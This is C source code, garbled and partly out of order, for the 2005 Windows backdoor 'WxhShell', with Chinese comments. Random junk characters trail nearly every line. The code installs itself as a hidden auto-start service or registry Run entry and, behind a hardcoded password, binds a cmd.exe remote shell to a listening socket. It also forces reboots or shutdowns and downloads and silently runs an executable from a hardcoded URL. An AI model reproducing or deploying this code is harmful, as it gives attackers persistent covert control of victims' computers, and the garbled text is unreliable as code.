    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<}()+L  
    else { ',9V|jvK  
    closesocket(wsh); /rWd=~[MO  
    ExitThread(0); pMw*9s X  
    } S\:P-&dC  
    break; X <f8,n  
    } 7j@Hs[ *  
  // 获取shell &S~zNl^m  
  case 's': { \UPjf]&  
    CmdShell(wsh); iW$_zgN  
    closesocket(wsh); BmbyH{4  
    ExitThread(0); u(@$a4z  
    break; 'GNK"XA^  
  } f.D?sHAn  
  // 退出 my(2;IJ#{  
  case 'x': { .YhA@8nc~l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8<X#f !  
    CloseIt(wsh); ")SFi^]  
    break; 4w*Skl=F}  
    } 7?#J~.d5  
  // 离开 Bal$+S  
  case 'q': { s2h@~y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i6^twK)j  
    closesocket(wsh); wo4;n9@I  
    WSACleanup(); GZEc l'h*  
    exit(1); SW H2  
    break; zwhe  
        } ?M8dP%&r  
  } NSxoF3  
  } `.E[}W  
\HqNAE2T  
  // 提示信息 m4**~xfC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h{CL{>d  
} IbT=8l,Li  
  } 51#_Vg  
J=\HO8E6>  
  return; U_Vs.M.p  
} p, h9D_  
'9laa=H%8  
// shell模块句柄 O8+7g+J=!  
int CmdShell(SOCKET sock) +NeOSQSj  
{ ),0g~'I~D  
STARTUPINFO si; bfFeBBi  
ZeroMemory(&si,sizeof(si)); 'H3^e}   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y=fx%~<> 8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?Y$JWEPJ  
PROCESS_INFORMATION ProcessInfo; u8'Zl8 g  
char cmdline[]="cmd"; |nc@"OJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C;;Sih5  
  return 0; hW%TM3l}  
} VF&(8X\   
oQLq&zRH`f  
// 自身启动模式 -?H#LUk  
int StartFromService(void) ./- 5R|fN  
{ - \ 5v^l  
typedef struct .~)q};Z  
{ ,g%0`SO  
  DWORD ExitStatus;  q['Euy  
  DWORD PebBaseAddress; N,`$M.|?  
  DWORD AffinityMask; EOIN^4V"  
  DWORD BasePriority; c' ^?/$H|  
  ULONG UniqueProcessId; $3W;=Id=+  
  ULONG InheritedFromUniqueProcessId; p2Z?T}fa}&  
}   PROCESS_BASIC_INFORMATION; -Y1e8H ='  
%oF}HF.  
PROCNTQSIP NtQueryInformationProcess; D|lzGt  
cpe+XvBuK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !Xh=k36  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gk. ruQW"  
Bgn&:T8<  
  HANDLE             hProcess; ++bf#qS<8D  
  PROCESS_BASIC_INFORMATION pbi; 7yG#Z)VE  
Nu0C;B66  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $'0u|Xy`  
  if(NULL == hInst ) return 0; H~oail{EQ  
3YeG$^y"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .\\DKh%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bH-ub2@qO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^7>3a/  
wa(8Hl|Y  
  if (!NtQueryInformationProcess) return 0; \6S7T$$ 1m  
<vnHz?71c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); __lM7LFL  
  if(!hProcess) return 0; KLU-DCb%  
Vmc5IPd{\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; heltgRt  
~< P 0]ju  
  CloseHandle(hProcess); efSM`!%j  
o=u3&liBi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z(o,m3@v  
if(hProcess==NULL) return 0; #&cI3i  
214Ml0/%  
HMODULE hMod; 1da@3xaF  
char procName[255]; pny11C  
unsigned long cbNeeded; zUDg&-J3  
Jx_cf9{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ".f ;+wH  
zuP B6W^  
  CloseHandle(hProcess); E^Y#&skXp3  
Bm.afsM;  
if(strstr(procName,"services")) return 1; // 以服务启动 [l:x'_y  
Pih tf4i  
  return 0; // 注册表启动 2^XGGB0  
} ioa U*%  
C#QpQg2  
// 主模块 {Z{75}  
int StartWxhshell(LPSTR lpCmdLine) s|@6S8E  
{ 3sc+3-TF  
  SOCKET wsl; ?8HHA: GP  
BOOL val=TRUE; D>|H 2  
  int port=0; 6L:x^bM  
  struct sockaddr_in door; H!vax)%-\  
s.EI`*xylY  
  if(wscfg.ws_autoins) Install(); U6=..K!q  
3E7ULK  
port=atoi(lpCmdLine); d^/3('H6  
z+x\(/  
if(port<=0) port=wscfg.ws_port; bAsYv*t%r  
YpQ7)_s ?  
  WSADATA data; |].pDwgt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rMXN[,|v  
QpZ:gM_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !P ~_Dl2d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?:Mr=]sD  
  door.sin_family = AF_INET; ckV`OaRw4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xsa2(-  
  door.sin_port = htons(port); NHB4y/2  
4f@o mAM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'AzDP;6qFI  
closesocket(wsl); aHlcfh9|  
return 1; |}2 3>l7  
} Mc#*wEo)8  
-g)9R%>-  
  if(listen(wsl,2) == INVALID_SOCKET) { j0Bu-sO$w  
closesocket(wsl);  R=.4  
return 1; syk!7zfK  
} NxSu 3e~PS  
  Wxhshell(wsl); Ny_lrfh)[  
  WSACleanup(); L{:9Cx!F  
^?$WVB  
return 0; dlU'2Cl7d  
MzPzqm<  
} FSUttg"  
GRMiQa  
// 以NT服务方式启动 ;g6M%;1-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0_k '.5l%  
{ wpN k+;  
DWORD   status = 0;  ~UyV<  
  DWORD   specificError = 0xfffffff; 6}75iIKi  
6`!Fv-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dp++%:j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VmCW6 G#M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1?)Xp|O  
  serviceStatus.dwWin32ExitCode     = 0; Q s.pGi0W  
  serviceStatus.dwServiceSpecificExitCode = 0; ,B08i o-  
  serviceStatus.dwCheckPoint       = 0; YWMGB#=  
  serviceStatus.dwWaitHint       = 0; ;GVV~.7/  
"oWwc zzO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T_X6Ulp  
  if (hServiceStatusHandle==0) return; Kk(9O06j  
%Rz&lh/  
status = GetLastError(); ^F2b hXE  
  if (status!=NO_ERROR) I+Jm>XN  
{ m~@;~7Ix  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0E?jW7yr  
    serviceStatus.dwCheckPoint       = 0; C|d\3S\(  
    serviceStatus.dwWaitHint       = 0; }K1JU`Lz  
    serviceStatus.dwWin32ExitCode     = status; on0]vEE  
    serviceStatus.dwServiceSpecificExitCode = specificError; uA,>a>xYI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z^_*&  
    return; 4 SHU  
  } A 6OGs/:&  
*5 |)-E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^ "i l}8`  
  serviceStatus.dwCheckPoint       = 0; \\{J'j>{f  
  serviceStatus.dwWaitHint       = 0; N>Eqj>G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '; =f  
} |u0( t,T  
!:|TdYrmj  
// 处理NT服务事件,比如:启动、停止 fGw^:,B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cCo`~7rE  
{ YoN*:jB<M  
switch(fdwControl) [cTe54n  
{ &FH2fMLQ  
case SERVICE_CONTROL_STOP: nl(WJKq'  
  serviceStatus.dwWin32ExitCode = 0; nL$x|}XAcj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c1$ngH0  
  serviceStatus.dwCheckPoint   = 0; gzjR 6uz  
  serviceStatus.dwWaitHint     = 0; Ubh{!Y  
  { z\0 CE]#T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J 8M$k/"X  
  } =Zu^80/  
  return; `(1K  
case SERVICE_CONTROL_PAUSE: U~} U\_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :8 jhiB)  
  break; ddfs8\  
case SERVICE_CONTROL_CONTINUE: -+7uy.@cS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^qg?6S4  
  break; f;&]:2.j  
case SERVICE_CONTROL_INTERROGATE: rC.eyq,105  
  break; &ISb~5  
}; UPc<gB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "p/j; 6H  
} G0`h%  
~6pr0uyO`  
// 标准应用程序主函数 ot`%*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %/c+`Wd/l$  
{ eVt$7d?Jw  
uQ=^~K:Z~  
// 获取操作系统版本 :}h>by=  
OsIsNt=GetOsVer();  QV h4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [6)UhS8  
*\wp?s>-t  
  // 从命令行安装 !IC-)C,q  
  if(strpbrk(lpCmdLine,"iI")) Install(); $xOI 1|d   
/^$UhX9v  
  // 下载执行文件 sK"9fU  
if(wscfg.ws_downexe) { UWZa|I~:J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s-Aw<Q)d  
  WinExec(wscfg.ws_filenam,SW_HIDE); +vNZW@_$D  
} h'i{&mS_b  
%*o8L6Hn  
if(!OsIsNt) { t4q ej  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z<#hS=eY  
HideProc(); j}BHj.YuP  
StartWxhshell(lpCmdLine); :qR=>n=  
} 2>]a)  
else RQkyCAGx  
  if(StartFromService()) Z2Zq'3*  
  // 以服务方式启动 /w8"=6Vv~  
  StartServiceCtrlDispatcher(DispatchTable); D?~8za`5  
else V $|<  
  // 普通方式启动 }C  /]  
  StartWxhshell(lpCmdLine); rZojY}dWJ  
/({;0I*!i  
return 0; !j1[$% =#  
} QN>7~=`  
Y4F6qyP)"  
MlJVeod  
'~ 4pl0TWc  
=========================================== E RdL^T>  
"o&HE@t  
Sf/q2/r?6[  
6*nAo8gl  
-h-oMqgu(  
'r} zY-FM`  
" [pg}S#A  
Sd))vS^g  
#include <stdio.h> T#!lPH :&h  
#include <string.h> 9p@C4oen  
#include <windows.h> zSv^<`X3  
#include <winsock2.h> NQ|xM"MqD  
#include <winsvc.h> j2M+]Zp.  
#include <urlmon.h> =q(GHg;'  
Aaw(Ed  
#pragma comment (lib, "Ws2_32.lib") 6QZ5|T ]  
#pragma comment (lib, "urlmon.lib") ~vgA7E/XV  
Qn:kz*:  
#define MAX_USER   100 // 最大客户端连接数 b8BD8~;  
#define BUF_SOCK   200 // sock buffer wU`!B<,j  
#define KEY_BUFF   255 // 输入 buffer V% CUMH =U  
[m'CR 4(|  
#define REBOOT     0   // 重启 ( 0Naf  
#define SHUTDOWN   1   // 关机 LS.r%:$mb  
68R1AqU_  
#define DEF_PORT   5000 // 监听端口 e kQrW%\3  
,xths3.K  
#define REG_LEN     16   // 注册表键长度 zzZg$9PT[  
#define SVC_LEN     80   // NT服务名长度 b^`AJK  
W9J1=  
// 从dll定义API LH]CUfUrUE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ad n|N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $v} <'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )%Y IGV;&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S<6k0b(,_3  
oP,9#FC|(  
// wxhshell配置信息 q]<xMg#nu  
struct WSCFG { 59B&2861  
  int ws_port;         // 监听端口 jB@4b 'y  
  char ws_passstr[REG_LEN]; // 口令  ?RD *1  
  int ws_autoins;       // 安装标记, 1=yes 0=no FfMnul  
  char ws_regname[REG_LEN]; // 注册表键名 X)uDSI~  
  char ws_svcname[REG_LEN]; // 服务名 Y?Vz(udD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aW{L7N%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +nZRi3yu=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ARL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #iis/6"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IlLn4Iw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zTCP )x  
0^_MN~s(X  
}; - G ?%QG`v  
+lp{#1q0  
// default Wxhshell configuration C ?H{CP  
struct WSCFG wscfg={DEF_PORT, oL *n>dH  
    "xuhuanlingzhe", : d'65KMi  
    1, 02 f9 wV  
    "Wxhshell", PHR#>ZD  
    "Wxhshell", {F)E\)$G  
            "WxhShell Service", m3%ef  
    "Wrsky Windows CmdShell Service", 9L=;KtE1  
    "Please Input Your Password: ", | M _%QM.  
  1, )=(n/vckM  
  "http://www.wrsky.com/wxhshell.exe", z[FI2jl  
  "Wxhshell.exe" 9 d] tjT  
    }; T+BIy|O  
![q }BU4  
// 消息定义模块 @fDQ^ 4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Cji#?!Ra?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Rf8:+d[Jj|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o~}1 oN  
char *msg_ws_ext="\n\rExit."; yr{5Rp05=  
char *msg_ws_end="\n\rQuit."; RR'(9QJ$  
char *msg_ws_boot="\n\rReboot..."; E~69^ cd  
char *msg_ws_poff="\n\rShutdown..."; )ys=+Pz  
char *msg_ws_down="\n\rSave to "; p9w%kM?  
_}z_yu#jY  
char *msg_ws_err="\n\rErr!"; ox JGJ  
char *msg_ws_ok="\n\rOK!"; |%3O) B  
hqWPf  
char ExeFile[MAX_PATH]; ]g7HEB.Y  
int nUser = 0; cCYl$MskZ  
HANDLE handles[MAX_USER]; #_,uE9  
int OsIsNt; WxDb3l~  
7n [12:  
SERVICE_STATUS       serviceStatus; @C<d2f|8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7zi"caY  
-Cml0}.O   
// 函数声明 V[To,f  
int Install(void); ylT6h_z1[Y  
int Uninstall(void); mj,qQ=n;p  
int DownloadFile(char *sURL, SOCKET wsh); kYTOldfY2  
int Boot(int flag); E.U0qK],  
void HideProc(void); sMN>wbHwh[  
int GetOsVer(void); 2Z-,c;21  
int Wxhshell(SOCKET wsl); p( HyRCH  
void TalkWithClient(void *cs); "sSjVu  
int CmdShell(SOCKET sock); S--/<a2  
int StartFromService(void); K#iK6)tS  
int StartWxhshell(LPSTR lpCmdLine); #EEG>M*xB  
s|BX> 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y)5)s0}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @>gD1Q7v b  
#Ul4&QVeg  
// 数据结构和表定义 *+NZQjl'  
SERVICE_TABLE_ENTRY DispatchTable[] = Qh 1q  
{  =05iW  
{wscfg.ws_svcname, NTServiceMain}, hq]xmM?&  
{NULL, NULL} a$laRtId7  
}; 3a/[."W u  
#efqG=q  
// 自我安装 %h3L  
int Install(void) k>$FT `  
{ EI%M Azj}  
  char svExeFile[MAX_PATH]; =]WW'~  
  HKEY key; QR|XV%$  
  strcpy(svExeFile,ExeFile); 91U^o8y  
/kAwe *)  
// 如果是win9x系统,修改注册表设为自启动 BQ5_s,VM  
if(!OsIsNt) { b-,]A2.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zZ<ns+h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D l4d'&!  
  RegCloseKey(key); 0P3j+? N%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -??!@R7V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b1eK(F  
  RegCloseKey(key); ^! $} BY  
  return 0; A8#.1uEgNb  
    } RCoeJ|  
  } d.L OyO  
} Dl>*L  
else { %_]=i@Y~  
[vZfH!vLP  
// 如果是NT以上系统,安装为系统服务 0~(\lkh*!9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &NlS  =  
if (schSCManager!=0) %H 8A=  
{ |E"Xavi>  
  SC_HANDLE schService = CreateService }g%KvYB_  
  ( _ .-o%6  
  schSCManager, u-8X$aJ  
  wscfg.ws_svcname, "sz.v<F0:s  
  wscfg.ws_svcdisp, y|FBYcn#F  
  SERVICE_ALL_ACCESS, v@F|O8t:s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E_ o{c5N  
  SERVICE_AUTO_START, %kF TnXHK  
  SERVICE_ERROR_NORMAL, 200L  
  svExeFile, HGU?bJ~6o  
  NULL, iMP*]K-O  
  NULL, |LXrGyk^  
  NULL, Ufm(2`FQ  
  NULL, \[@Q}k[  
  NULL Y\+(rC27  
  ); # q0Ub-  
  if (schService!=0) 7}2sIf[I  
  { Dq0-Kf,^  
  CloseServiceHandle(schService); N*_/@qM> a  
  CloseServiceHandle(schSCManager); <`oCz Q1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Q@/F~1@6@  
  strcat(svExeFile,wscfg.ws_svcname); j;ff } b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,\\%EZ%a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2rPcNh9  
  RegCloseKey(key); fcgDU *A%  
  return 0; s_S<gR  
    } NqQM! B]  
  } ^8o_Iz)r,  
  CloseServiceHandle(schSCManager); B2ek&<I7N  
} :t2 9`x  
} Z;|0"K  
vjOG?-  
return 1; 2VoEQ  
} lM@<_=2  
aF; ]7i@  
// 自我卸载 lWu9/r 1  
int Uninstall(void) TnbGO;  
{ f:x9Y{Y  
  HKEY key; <3i4NXnL2  
I_"Hgx<  
if(!OsIsNt) { -13P 2<i+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WH pUjyBP  
  RegDeleteValue(key,wscfg.ws_regname); iBGSBSeL&  
  RegCloseKey(key); 3p?<iVE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4yJ*85e]  
  RegDeleteValue(key,wscfg.ws_regname); CjC'"+[w  
  RegCloseKey(key); xA[Wb'  
  return 0; FR@PhMUS  
  } )[@YHE5g  
} !s#'pTZk4  
} mkj;PYa  
else { t%]^5<+X58  
rL!_&|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 78^UgO/  
if (schSCManager!=0) []2$rJZD9  
{ \-$b o=s.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :_{{PY0PK  
  if (schService!=0) j#Ky0+@V  
  { zkT`] @`J  
  if(DeleteService(schService)!=0) { SIaUrC  
  CloseServiceHandle(schService); '[M^f+H|  
  CloseServiceHandle(schSCManager); H|rX$P  
  return 0;  uu WY4j6  
  } ,w9#%=xE  
  CloseServiceHandle(schService); O X5Co <u  
  } zAkc 67:  
  CloseServiceHandle(schSCManager); `wn<3#  
} 0i5T] )r  
} %h/#^esi  
"2#-xOCO  
return 1; ]2aYi9)  
} `Q1WVd29  
q{9X.-]}  
// 从指定url下载文件 lgv-)5|O+H  
int DownloadFile(char *sURL, SOCKET wsh) ]]h:#A2  
{ $ +GFOO  
  HRESULT hr; @^y?Bh9jQ  
char seps[]= "/"; }ZM*[j  
char *token; EL 8N[]RF  
char *file; `\RX~ $^  
char myURL[MAX_PATH]; 0]h8)EW  
char myFILE[MAX_PATH]; &z xBi"  
U'Ja\Ek/f  
strcpy(myURL,sURL); w$(0V$l_  
  token=strtok(myURL,seps); P- `~]]  
  while(token!=NULL) d0H  
  { Z3abem<Q  
    file=token; p^4;fD  
  token=strtok(NULL,seps); @qO8Jg"Q  
  } V. bH$@ej  
!UgUXN*  
GetCurrentDirectory(MAX_PATH,myFILE); U&]p!DV&;  
strcat(myFILE, "\\"); +LI*!(T|lm  
strcat(myFILE, file); 5E\<r /FeJ  
  send(wsh,myFILE,strlen(myFILE),0); Jm);|#y  
send(wsh,"...",3,0); /BjGAa(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w.T=Lzp  
  if(hr==S_OK) .j:.WnW  
return 0; ^M"=A}h  
else Rvu3Qo+  
return 1; ~J. Fl[  
Vk N[=0a,  
}   Tk v  
}{kTh%^  
// 系统电源模块 aG8D%i0  
int Boot(int flag) q563,s  
{ ?2;n=&ZM  
  HANDLE hToken; g~^{-6Vg  
  TOKEN_PRIVILEGES tkp; ot>EnHfV  
[oU+b(  
  if(OsIsNt) { yf#%)-7(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M::IE|h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C)KtM YA,  
    tkp.PrivilegeCount = 1; e??{&[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /|u]Y/ *  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }x#P<d(  
if(flag==REBOOT) {  wc+N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T956L'.+G  
  return 0; 49J+&G?)j  
} mBpsgm:g^  
else { WRcFE<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \xO2WD  
  return 0; X!+Mgh6  
} |B{$URu  
  } ,5A>:2 zs  
  else { ^;k _  
if(flag==REBOOT) { l5y#i7q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _#YHc[Wz  
  return 0; q5\LdI2  
} :oj) eS[Y  
else { L(1,W<kYg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kX ,FQG>  
  return 0; CN$A-sjZ  
} ^/d^$  
} ,^+R%7mv  
@Y&9S)xcE  
return 1; pv m'pu78  
} aWsKJo>j[#  
X+gz+V/  
// win9x进程隐藏模块  4Jk}/_  
void HideProc(void) +/>YH-P=  
{ 4gv XJK-  
'G3OZj8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $m: a-.I  
  if ( hKernel != NULL ) n8OdRv  
  { w)m0Z4*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w[A3;]la  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #c)Ou!Ldb  
    FreeLibrary(hKernel); j3[OY  
  } @`y?\fWh  
gJ GBD9wC  
return; nog\,NT  
} i{FC1tVeL_  
9hs{uxwuEE  
// 获取操作系统版本 zs&`:  
int GetOsVer(void) 4Ig{#}<  
{ ~"r wP=<}  
  OSVERSIONINFO winfo; X.AOp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3D09P5$W  
  GetVersionEx(&winfo); ?jn6Op  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O+o%C*`K  
  return 1; ;?lM|kK  
  else F",abp!  
  return 0; 7fzyD  
} oJ@PJvmR&a  
5 EuJ  
// 客户端句柄模块 8Y0<lfG  
int Wxhshell(SOCKET wsl) IV)W|/.  
{ 5Kw?SRFH/  
  SOCKET wsh; MqBATW.pmJ  
  struct sockaddr_in client; 0^lL,rC   
  DWORD myID; |p4OlUq  
h7]]F{r5  
  while(nUser<MAX_USER) @1ta`7#  
{ .9fluAG  
  int nSize=sizeof(client); bSmaE7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }NBJ T4R  
  if(wsh==INVALID_SOCKET) return 1; IK?$!jh  
UlN|Oy,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B*iz+"H  
if(handles[nUser]==0) Isgk  
  closesocket(wsh); *pC -`k  
else Q|<?$.FN"8  
  nUser++;  ~M^7qO  
  } K y4y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S 2 h  
GK+\-U)v  
  return 0; -Us% g  
} }~C ZqIP  
x0;}b-f  
// 关闭 socket T\s#-f[x  
void CloseIt(SOCKET wsh)  ;yER V  
{ ^-;Z8M  
closesocket(wsh); XXwhs-:o  
nUser--; q vVZA*  
ExitThread(0); z+D,:!yF  
} Xsn- +e  
_]ttKT(  
// 客户端请求句柄 ulSTR f  
void TalkWithClient(void *cs) q4ko}jn  
{ 6:z&ukq E  
3L]^x9Cu)  
  SOCKET wsh=(SOCKET)cs; )Q j9kJq  
  char pwd[SVC_LEN]; "l,EcZRjTz  
  char cmd[KEY_BUFF]; Lm{ o=v  
char chr[1]; ,$qs9b~  
int i,j; H.[&gm}p>  
F}.TT =((8  
  while (nUser < MAX_USER) { {]Iu">*  
U`p<lxRgQ  
if(wscfg.ws_passstr) { _w/N[E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5a_!&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l<: E+lU  
  //ZeroMemory(pwd,KEY_BUFF); JI,hy <3l0  
      i=0; .*f4e3  
  while(i<SVC_LEN) { #R PB;#{  
W!B4< 'Fjc  
  // 设置超时 wP':B AQ4U  
  fd_set FdRead; 2^ZPO4|  
  struct timeval TimeOut; a[cH@7W.#  
  FD_ZERO(&FdRead); E=*Q\3G~  
  FD_SET(wsh,&FdRead); wEc5{ b5M  
  TimeOut.tv_sec=8; 3M*[a~  
  TimeOut.tv_usec=0; wP1VQUL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [f(^vlK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~wg^>!E  
Q4 :r$ &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0a%ui2k  
  pwd=chr[0]; 9S1V! Jp  
  if(chr[0]==0xd || chr[0]==0xa) { % P)}(e6y  
  pwd=0; #=#$b_6*  
  break; gpvj'Ri7V  
  } CPeK0(7Zh  
  i++; I3$vw7}5Y  
    } WA\f`SRF  
Z_~DTO2Qg  
  // 如果是非法用户,关闭 socket FEmlC,%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gj;G:;1m  
} CscJy0dB  
qm5pEort  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j77}{5@p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~MQf($]  
^Jc0c)*  
while(1) { "FIx^  
 Ph{+uI  
  ZeroMemory(cmd,KEY_BUFF); $rYu4^  
m8^2k2  
      // 自动支持客户端 telnet标准   ',j-n$Z^=  
  j=0; BD#;3?|  
  while(j<KEY_BUFF) { d$~b`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OBSJbDqT  
  cmd[j]=chr[0]; 6yM dl~.  
  if(chr[0]==0xa || chr[0]==0xd) { EoCwS  
  cmd[j]=0; }B/xQsTx-  
  break; {*$J&{6V  
  } HKw:fGt/o^  
  j++; F|Ihq^q  
    } HZ=yfJs nc  
g|_*(=Q  
  // 下载文件 ?R:Hj=.  
  if(strstr(cmd,"http://")) { ve^MqW&S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EC#10.  
  if(DownloadFile(cmd,wsh)) *~^^A9C8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =V 7w CW  
  else KptLeb:Om  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .. TjEBp  
  } &>fd:16  
  else { }rZ=j6Z  
p<19 Jw<  
    switch(cmd[0]) { rNC3h"i\  
  ra2q. H  
